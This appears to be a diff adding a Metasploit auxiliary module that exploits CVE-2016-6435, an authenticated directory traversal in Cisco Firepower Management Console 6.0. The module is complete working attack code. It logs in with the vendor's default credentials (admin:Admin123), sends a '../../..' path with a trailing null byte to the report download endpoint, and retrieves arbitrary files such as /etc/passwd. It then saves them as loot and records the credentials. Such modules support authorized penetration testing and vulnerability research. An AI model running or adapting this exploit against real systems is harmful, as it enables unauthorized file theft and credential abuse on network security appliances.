|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Scanner |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => "Cisco Firepower Management Console 6.0 Post Auth Report Download Directory Traversal", |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a directory traversal vulnerability in Cisco Firepower Management |
| 19 | + under the context of www user. Authentication is required to exploit this vulnerability. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Matt', # Original discovery && PoC |
| 25 | + 'sinn3r', # Metasploit module |
| 26 | + ], |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['CVE', '2016-6435'], |
| 30 | + ['URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking'] |
| 31 | + ], |
| 32 | + 'DisclosureDate' => "Oct 10 2016", |
| 33 | + 'DefaultOptions' => |
| 34 | + { |
| 35 | + 'RPORT' => 443, |
| 36 | + 'SSL' => true, |
| 37 | + 'SSLVersion' => 'Auto' |
| 38 | + } |
| 39 | + )) |
| 40 | + |
| 41 | + register_options( |
| 42 | + [ |
| 43 | + # admin:Admin123 is the default credential for 6.0.1 |
| 44 | + OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']), |
| 45 | + OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']), |
| 46 | + OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']), |
| 47 | + OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd']) |
| 48 | + ], self.class) |
| 49 | + |
| 50 | + deregister_options('RHOST') |
| 51 | + end |
| 52 | + |
| 53 | + def do_login(ip) |
| 54 | + console_user = datastore['USERNAME'] |
| 55 | + console_pass = datastore['PASSWORD'] |
| 56 | + uri = normalize_uri(target_uri.path, 'login.cgi') |
| 57 | + |
| 58 | + print_status("Attempting to login in as #{console_user}:#{console_pass}") |
| 59 | + |
| 60 | + res = send_request_cgi({ |
| 61 | + 'method' => 'POST', |
| 62 | + 'uri' => uri, |
| 63 | + 'vars_post' => { |
| 64 | + 'username' => console_user, |
| 65 | + 'password' => console_pass, |
| 66 | + 'target' => '' |
| 67 | + } |
| 68 | + }) |
| 69 | + |
| 70 | + unless res |
| 71 | + fail_with(Failure::Unknown, 'Connection timed out while trying to log in.') |
| 72 | + end |
| 73 | + |
| 74 | + res_cookie = res.get_cookies |
| 75 | + if res.code == 302 && res_cookie.include?('CGISESSID') |
| 76 | + cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first |
| 77 | + vprint_status("CGI Session ID: #{cgi_sid}") |
| 78 | + print_good("Authenticated as #{console_user}:#{console_pass}") |
| 79 | + report_cred(ip: ip, username: console_user, password: console_pass) |
| 80 | + return cgi_sid |
| 81 | + end |
| 82 | + |
| 83 | + nil |
| 84 | + end |
| 85 | + |
| 86 | + def report_cred(opts) |
| 87 | + service_data = { |
| 88 | + address: opts[:ip], |
| 89 | + port: rport, |
| 90 | + service_name: 'cisco', |
| 91 | + protocol: 'tcp', |
| 92 | + workspace_id: myworkspace_id |
| 93 | + } |
| 94 | + |
| 95 | + credential_data = { |
| 96 | + origin_type: :service, |
| 97 | + module_fullname: fullname, |
| 98 | + username: opts[:user], |
| 99 | + private_data: opts[:password], |
| 100 | + private_type: :password |
| 101 | + }.merge(service_data) |
| 102 | + |
| 103 | + login_data = { |
| 104 | + last_attempted_at: DateTime.now, |
| 105 | + core: create_credential(credential_data), |
| 106 | + status: Metasploit::Model::Login::Status::SUCCESSFUL, |
| 107 | + proof: opts[:proof] |
| 108 | + }.merge(service_data) |
| 109 | + |
| 110 | + create_credential_login(login_data) |
| 111 | + end |
| 112 | + |
| 113 | + def download_file(cgi_sid, file) |
| 114 | + file_path = "../../..#{Rex::FileUtils.normalize_unix_path(file)}\x00" |
| 115 | + print_status("Requesting: #{file_path}") |
| 116 | + send_request_cgi({ |
| 117 | + 'method' => 'GET', |
| 118 | + 'cookie' => "CGISESSID=#{cgi_sid}", |
| 119 | + 'uri' => normalize_uri(target_uri.path, 'events/reports/view.cgi'), |
| 120 | + 'vars_get' => { |
| 121 | + 'download' => '1', |
| 122 | + 'files' => file_path |
| 123 | + } |
| 124 | + }) |
| 125 | + end |
| 126 | + |
| 127 | + def remote_file_exists?(res) |
| 128 | + ( |
| 129 | + res.headers['Content-Disposition'] && |
| 130 | + res.headers['Content-Disposition'].match(/attachment; filename=/) && |
| 131 | + res.headers['Content-Type'] && |
| 132 | + res.headers['Content-Type'] == 'application/octet-stream' |
| 133 | + ) |
| 134 | + end |
| 135 | + |
| 136 | + def save_file(res, ip) |
| 137 | + fname = res.headers['Content-Disposition'].scan(/filename=(.+)/).flatten.first || File.basename(datastore['FILEPATH']) |
| 138 | + |
| 139 | + path = store_loot( |
| 140 | + 'cisco.https', |
| 141 | + 'application/octet-stream', |
| 142 | + ip, |
| 143 | + res.body, |
| 144 | + fname |
| 145 | + ) |
| 146 | + |
| 147 | + print_good("File saved in: #{path}") |
| 148 | + end |
| 149 | + |
| 150 | + def run_host(ip) |
| 151 | + cgi_sid = do_login(ip) |
| 152 | + |
| 153 | + unless cgi_sid |
| 154 | + fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID') |
| 155 | + end |
| 156 | + |
| 157 | + res = download_file(cgi_sid, datastore['FILEPATH']) |
| 158 | + |
| 159 | + if res.nil? |
| 160 | + print_error("Connection timed out while downloading: #{datastore['FILEPATH']}") |
| 161 | + elsif remote_file_exists?(res) |
| 162 | + save_file(res, ip) |
| 163 | + else |
| 164 | + print_error("Remote file not found: #{datastore['FILEPATH']}") |
| 165 | + end |
| 166 | + end |
| 167 | + |
| 168 | +end |
0 commit comments